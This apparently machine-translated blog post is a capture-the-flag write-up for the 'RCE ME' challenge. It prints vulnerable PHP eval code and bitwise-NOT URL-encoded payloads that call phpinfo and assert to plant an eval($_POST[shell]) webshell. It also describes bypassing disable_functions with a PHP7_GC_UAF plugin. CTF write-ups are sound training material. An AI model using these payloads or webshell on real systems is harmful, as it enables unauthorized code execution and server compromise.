当前位置:网站首页>[geek challenge 2019] rce me
[geek challenge 2019] rce me
2022-07-28 00:00:00 【A new reading of the tea classic】
[ Geek challenge 2019]RCE ME
<?php
error_reporting(0);
if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)>40){
die("This is too Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}
else{
highlight_file(__FILE__);
}
// ?>The audit code knows , need get Pass value code, also code The length of cannot be greater than 40,code You can't take letters or numbers , Consider taking the opposite to bypass , structure payload:/?code=phpinfo();, Negate it :php -r "echo urlencode(~'phpinfo');" perhaps
<?php
echo urlencode(~'phpinfo');
?>

php Online operation website :PHP Online tools | Rookie tools
obtain %8F%97%8F%96%91%99%90, So as to construct a new payload:/?code=(~%8F%97%8F%96%91%99%90)();
After entering, I found many disabled functions :

Next, construct shell:
php Assertion :assert — Check whether an assertion is false, If the argument is a string , It will be assert() treat as PHP Code to execute . write in shell:eval($_POST[shell]), The same method needs to be reversed :
/?code=(~%9E%8C%8C%9A%8D%8B)(~%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%8C%97%9A%93%93%A2%D6);
# %9E%8C%8C%9A%8D%8B=assert
# %9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%8C%97%9A%93%93%A2%D6=eval($_POST[shell])Here the system checks code Reverse to get :/?code=(assert)(eval($_POST[shell]));, then assert take eval($_POST[shell]) As php Code to execute , Write now shell, Go to ant sword
url:http://xxxxx.node4.buuoj.cn:81/?code=(~%9E%8C%8C%9A%8D%8B)(~%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%8C%97%9A%93%93%A2%D6);

Found in the root directory flag, But can't read 
Considering that web pages disable a large number of functions , So use the ant sword plug-in :disable_functions, Right click data -> Add plug-ins -> Auxiliary tool -> Bypass disable_functions-> And then choose PHP7_GC_UAF-> Click Start , Then type the command directly /readflag, You can get flag:
It's over , And the flower
边栏推荐
- XSS Payload 学习浏览器解码
- smartRefresh嵌套多个RecycleView滑动冲突及布局显示不全
- [actf freshmen 2020] crypto AES
- 传奇服中怎么刷装备
- 重新定义分析 - EventBridge 实时事件分析平台发布
- Why does redis cluster use reverse proxy? Just read this one
- 【zer0pts CTF 2022】 Anti-Fermat
- Use of date
- [flight control development foundation tutorial 6] crazy shell · open source formation UAV SPI (six axis sensor data acquisition)
- [RoarCTF2019]RSA
猜你喜欢

Lua basic grammar learning

UE4官方AEC蓝图案例课程学习笔记

UE4 official AEC blueprint case course learning notes

传奇服中怎么刷装备

The first activity of togaf10 standard reading club was successfully held, and the wonderful moments were reviewed!

Bank marketing predicts the success rate of a customer's purchase of financial products
![[flight control development foundation tutorial 6] crazy shell · open source formation UAV SPI (six axis sensor data acquisition)](/img/75/509db67a580dd4b9849bea08845cc7.png)
[flight control development foundation tutorial 6] crazy shell · open source formation UAV SPI (six axis sensor data acquisition)

Shell编程规范与变量

给网站套上Cloudflare(以腾讯云为例)
![[RoarCTF2019]RSA](/img/0e/8c8371ccf40094e5b03e502d6ae851.png)
[RoarCTF2019]RSA
随机推荐
UE4 official AEC blueprint case course learning notes
给网站套上Cloudflare(以腾讯云为例)
TCP sticking and unpacking problem + Solution
Smartrefresh nested multiple recycleview sliding conflicts and incomplete layout display
Error:svn: E155010: ‘/Users/.../Desktop/wrokspace/xxx‘ is scheduled for addition, but is missing
BUUCTF-RSA
网站被黑后处理方法及删除批量恶意代码的方法步骤
BUUCTF-RSA4
Flutter pull_ to_ refresh-1.6.0/lib/src/internals/slivers. dart:164:13: Error: Method not found: ‘descr
2022 summer vacation daily question (5)
Which one is better to request to merge -- three skills of interface request merging, and the performance directly explodes the table
[Development Tutorial 9] crazy shell · open source Bluetooth heart rate waterproof sports Bracelet - heart rate monitoring
How Flink uses savepoint
BUUCTF-Dangerous RSA
[flight control development foundation tutorial 6] crazy shell · open source formation UAV SPI (six axis sensor data acquisition)
[ACTF新生赛2020]crypto-aes
BUUCTF-RSA4
(12) 51 Single Chip Microcomputer -- use DS18B20 to measure the outdoor temperature in Gongjiang West
Explain the idempotence of distributed system in detail
Arm32进行远程调试